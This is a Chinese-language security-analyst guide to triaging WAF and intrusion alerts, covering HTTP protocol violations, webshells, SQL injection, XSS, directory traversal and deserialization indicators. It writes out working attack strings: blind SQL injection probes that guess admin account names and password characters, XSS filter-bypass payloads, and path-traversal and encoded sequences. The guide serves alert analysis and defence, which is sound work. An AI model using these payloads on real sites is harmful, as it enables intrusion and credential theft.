1.分析安全事件通用方法

- 导出最近七天的日志（日志条件：源地址，目的地址，事件名称，时间，规则ID，发生 次数等）
- 将导出日志生成数据透视表（透视表制作办法见百度）；
- 根据动作、地址、事件名称、时间等信息进行研判

说明：一般情况下，真实攻击不可能只持续一次，也不可能是断断续续，它一定是长时间、周期性、多IP的进行攻击

1. 通过威胁情报库https://x.threatbook.cn对原IP地址分析，判断是否存在恶意攻击行为
2. 通过事件请求包和回应包分析是否为真实攻击还是误报（一般真实攻击会有正常的请求包和回应包）

2.HTTP协议违背

2.1 请求URI过长

告警信息：the requested URL's length exceeds the capacity limit

描述：HTTP请求URI长度超过默认缓冲区大小，认为其不合规

2.2 请求头部过长

告警信息：request exceeds system's limit

描述：HTTP请求头部长度超过默认的缓冲区大小，认为其不合规

2.3 响应头部过长

告警信息：request exceeds system's limit

描述：HTTP响应头部超过默认缓冲区大小，认为其不合规

2.4 请求方法字段不合规

告警信息：request method begin with non-capital letters or over load content-length

request method body contains non-capital letters

描述：HTTP请求方法不是大写的英文字符，比如：get、gET，GeT等

2.5 未知请求方法

告警信息：the requested method is unknown

描述：WAF允许的HTTP请求方法如下： GET、POST、HEAD、PUT、DELETE、MKCOL、COPY、MOVE、OPTIONS、PROPFIND、PROPPATCH、LOCK、UNLOCK、TRACE、SEARCH、CONNECT、CHECKOUT、LABEL、UPDATE、REPORT、CHECKIN、CHECKOUT、UNCHECKOUT、MERGE、MKACTIVITY、BPROPPATCH、MKWORKSPACE、VERSION-CONTROL、BASELINE-CONTROL

2.6 URL字段不合规

告警信息：request uri begin neither schema nor slash

request schema contain non-letters

request schema without slash

request schema with only one slash

request with bad host

request with bad port

描述：URI字段不合规包含以下几种情况：

1、不是`schema://host:port/path`形式且不以/开头，如GET abc、GET abc:def等；

2、是`schema://host:port/path`形式，但HOST字段无效，如：`HTTP://2.2.abab.2`；

3、是`schema://host:port/path`形式，但PORT字段无效，如：`POST HTTP://2.2.2.2:2.3`

2.7 HTTP版本字段不合规

告警信息：request protocol only has h,lost others

request protocol only has ht,lost others

request protocol only has htt,lost others

request protocol without splash

request protocol version major non-digit

request protocol version major too long

request protocol version minor non-digit

request protocol version minor too long

描述：HTTP版本字段不符合规范，比如：GET / H/1.1,GET / HTT/1.1,GET / HTTP/1.a,GET / HTTP/0.9（0.9版本不需要指明版本号，出现这种情况也视为不合规）

2.8 HTTP请求行不合规

告警信息：request end failed, bad CRLF

描述：HTTP请求头部首行格式为：GET+SPACE+URI-Path+HTTP/1.1+CRLF，当版本号后面不存在CRLF或CRLF不完整时，认为其不合规。

2.9 HTTP版本号不合规

告警信息：request with bad protocol version

描述：HTTP版本号不符合规范，目前只支持HTTP/1.0、HTTP/1.1这两种版本号

2.10 禁止URL路径穿越

告警信息：request forbidden path through

描述：HTTP请求的URI-Path中不能出现../这样的字符，可能会造成路径穿越攻击

2.11 URI-Path包含CRLF

告警信息：request uri decode contain line feed

描述：HTTP请求的URI-Path中不能出现编码的回车换行字符，比如：GET /%0a

2.12 请求头部字段不合规

告警信息：request header end failed, bad CRLF

描述：HTTP请求头部字段中以\r\n结尾，比如：GET / HTTP/1.1\r\nHost:172.16.132.207:12345\rab\r\n\r\n

2.13 多余的请求头部

告警信息：request could not be understood

描述：HTTP请求头部中出现重复的HOST、Content-Length、Transfer-Encoding字段，认为其不合规

2.14 HTTP/1.1 缺少HOST头部

告警信息：request without header Host

描述：HTTP 1.1版本请求中不包含HOST头部时，认为其不合规

2.15 Content-Length不合规

告警信息：request method requires a valid Content-length

描述：POST和PUT请求中缺少Content-Length字段或者Content-Length数值不正确，比如：Content-Length： 或Content-Length：1.22，认为其不合规

2.16 请求chunk块size不合规

告警信息：request chunk size is erange!

request chunk size begin with not digit!

request chunk size CR without LF!

描述：HTTP请求chunk块size不以数字开头或\r\n不完整，认为其不合规

2.17 请求chunk块body不合规

告警信息：request chunk body end without CR!

request chunk body CR without LF!

描述：HTTP请求chunk块body结尾\r\n不完整，认为其不合规

2.18 请求last chunk块不合规

告警信息：request chunk last chunk end without CR!

request chunk last chunk CR without LF!

描述：HTTP请求last chunk块结尾\r\n不完整，认为其不合规

2.19 请求URI不可见字符

告警信息：request uri has invisible char!

描述：解码前的URI中包含0x00~0x1f等不可见字符认为其不合规

2.20 请求URI解码后不可见字符

告警信息：request decoded uri has invisible char!

描述：解码后的URI中包含0x00~0x1f等不可见字符认为其不合规

2.21 请求URI特殊字符

告警信息：request uri has special char!

描述：解码前的URI中包含%认为其不合规

3.Webshell

1. 一般文件名后缓为jsp、php、py、asp等;
2. 一般Web应用会对上传后的文件名做二次命名,例如通过uid、时间戳等方法进行重命名,特征一为较长的字母数字组合 jsp(asp/php/Py等)
3. 由于 webshell内需要执行对应的功能,例如执行命令,连接数据库等,所以文件内容中会存在

相关编译语言的函数关键字,例如 Runtime. getruntime(0、 connection()、eval、 request System等。

4. 一般 webshell里可能有对应的访向控制,所以内容中可能会包含 username. password之类的字样
5. 既然是上传文件,那么上传 webshel的数据包的 content-type参数的值一般都是multipart/form-data
6. 常见一些 webshell命名,例如 webshellj sp、jspy、jip等
7. webshell的访问路径一般是文件上传目录,例如/ upload、 /image等

4.SQL注入

常见数据库操作语句：

1. show databases; 查看所有的数据库
2. create database test; 创建一个叫test的数据库
3. drop database test;删除一个叫test的数据库
4. show tables; 在选中的数据库之中查看所有的表
5. use test;选中库 ,在建表之前必须要选择数据库
6. drop table 表名; 删除表
7. create table 表名 (字段1 类型, 字段2 类型);
8. desc 表名;查看所在的表的字段
9. show create databases 库名;查看创建库的详细信息
10. show create table 表名; 查看创建表的详细信息

5.常见数据库修改表名语句：

1. 修改字段类型 alter table 表名 modify 字段 字段类型;
2. 添加新的字段 alter table 表名 add 字段 字段类型
3. 添加字段并指定位置 alter table 表名 add 字段 字段类型 after 字段;
4. 删除表字段 alter table 表名 drop 字段名;
5. 修改指定的字段 alter table 表名 change 原字段名字 新的字段名字 字段类型

6.SQL注入研判方法：

整形参数判断：

通常news.asp中SQL语句原貌大致如下：

`select * from 表名 where 字段=xx`，所以可以用以下步骤测试SQL注入是否存在

最简单的判断方法

`http://xxx/news.asp?id=xx'`(附加一个单引号)。如果出现错误提示，则该网站可能就存在注入漏洞

字段判断

通常对数据库操作就是增删改查，增删改查语句后面如果是正经字段或表命等，则可以判断该语句是正常的；如增删改查语句后面接的是特殊字符，如：`%`、`#`等特殊字符则是不正常的

and判断

`http://www.xxx.com/xxx.asp?id=10'and 1=1`这个条件永远都是真的，所以当然返回是正常页

`http://www.xxx.com/xxx.asp?id=10'and 1=2`如果报错那说明存在注入漏洞，还要看报的什么错，不可能报任何错都有注入漏洞的

Or判断

or跟and判断方法不一样的，and是提交返回错误才有注入点，而OR是提交返回正确有注入点

```
http://www.xxx.com/xxx.asp?id=10'or 1=1
http://www.xxx.com/xxx.asp?id=10'or 1=2
```

加减号数字判断
返回的页面和前面的页面相同，加上-1，返回错误页面，则也表示存在注入漏洞

```
http://www.xxx.com/xxx.asp?id=10-0

http://www.xxx.com/xxx.asp?id=10-1

http://www.xxx.com/xxx.asp?id=10+1
```

常见SQL注入语句：

1.判断有无注入点

```
; and 1=1 and 1=2
```

2.猜表一般的表的名称无非是admin adminuser user pass password 等

```
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
```

3.猜帐号数目 如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个

```
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
```

4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.

```
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len(用户字段名称name)>0)
and 1=(select count(*) from admin where len(_blank>密码字段名称password)>0)
```

5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止

```
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确

and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
```

6.猜解字符

```
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
```

就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

```
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
```

这个查询语句可以猜解中文的用户和`_blank>`密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符

举例

例：已绿盟ISOP平台为例，分析七天内告警日志，首先筛选事件等级为“特别重大”的告警日志，发现未存在该类告警

然后筛时间等级为“重大”的告警日志，发现存在两例数据

以某攻击成功的SQL注入告警为例做误报分析，找到如下SQL注入告警日志

1. 以某攻击失败的SQL注入告警为例进行分析，找到如下SQL注入告警日志，分析其目的IP及源IP
2. 分析其规则ID并在规则库中找到对应ID
3. 对应规则ID解释如下
4. 查看对应sql告警日志的载荷报文
5. 将该部分URL编码转码后查看结果
6. 查看其内容发现并未存在规则库中所提的SQL注入语句，可能因包含括号“(”等特殊符号触发告警
7. 因此根据报文分析，该请求为正常操作，因此系统判定为误报。后续可确认此告警日志中源IP与目的IP是否为内网IP，也可进一步证明该告警为误报

7.XSS绕过

经典的xss语句

```
<script>alert(/xss/)</sript>
```

引号绕过

```
单引号：‘<script>alert(/xss/)</script>

双引号："<script>alert(/xss/)</script>

单双引号共用：'"<script>alert(/xss/)</script>
```

闭合标签绕过

```
<script>标签：</script><script>alert(/xss/)</sript>

<div>标签：</div><script>alert(/xss/)</sript>

<a>标签：</a><script>alert(/xss/)</sript>

<p>标签：</p><script>alert(/xss/)</sript>
```

除此之外还包括但不限于，一切能够被当作HTML5标签的任何/>

大小写绕过

```
大写：<SCRIPT>ALERT(/XSS/)</SCRIPT>

小写：<script>alert(/xss/)</script>

大小写混用：<sCriPt>alert(/xss/)</ScRIpT>
```

其他标签绕过(限制了例如：//等等)

```
<script>alert(/xss/)</script>

<a href='x' onload=alert(/xss/)>xss</a>

<img src='x' onerror=alert(/xss/)>
```

转义绕过

十六进制：`<script>alert(/xss/)</script>`

```
\3c\73\63\72\69\70\74\3e\61\6c\65\72\74\28\2f\78\73\73\2f\29\3c\2f\73\63\72\69\7
0\74\3e
```

非常规绕过

```
Javascript:alert(/xss/)

Vbscript:alert(/xss/)

Data://text/html;base64, PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=
```

基本上大致就这么多了，主要是围绕这些方式搭配使用

例如：

```
‘”</sCrIPt><img src='x' alert(/xss/)></img><a href='x' onclick=alert(/xss/)>
```

8.目录遍历

常见payload信息里面会出现大量目录文件及敏感目录文件。目录遍历漏洞的特征要注意：

```
?page=xxx.php

?home=xxx.html

?index=xxx.jsp

?file=content

../../../../../

..%..%..%..%

etc/password

etc/group

C:\boot.int
```

如果请求信息里面包含以上敏感信息，通过回应包在进行分析，看回包里面是否返回了相关敏感信息，如果有则可以判断为真实攻击且有可能攻击成功了。

路径方面，linux一定是/，windows通常是\，但有可能是/，实际中可以多次发送根据结果来得到答案

编码方面：示例

URL编码：

```
../  %2e%2e%2f

..\  %2e%2e%5c

..\  %252e%252e%255c (双层URL编码)
```

9.文件上传

常见文件格式：
常见的媒体格式类型如下：

```
text/html ：  HTML格式
text/plain ：纯文本格式
text/xml ：  XML格式
image/gif ：gif图片格式
image/jpeg ：jpg图片格式
image/png：png图片格式

application/xhtml+xml ：XHTML格式
application/xml：  XML数据格式
application/atom+xml ：Atom XML聚合格式
application/json：  JSON数据格式
```

```
application/pdf：pdf格式
application/msword ： Word文档格式
application/octet-stream ： 二进制流数据（如常见的文件下载）
```

10.代码执行

10.1 JBOSS反序列化

一些常见的关键字：member，java.util，java.lang等，同时payload信息里面存在大量16进制编码。可能会对“单引号”“双引号”“括号”“等号”进行相关编码操作。

10.2 Apache Shiro远程命令执行

Cookie字段里面是否包含rememberME参数，且对应参数值是否存在异常。（加密超级长的那种）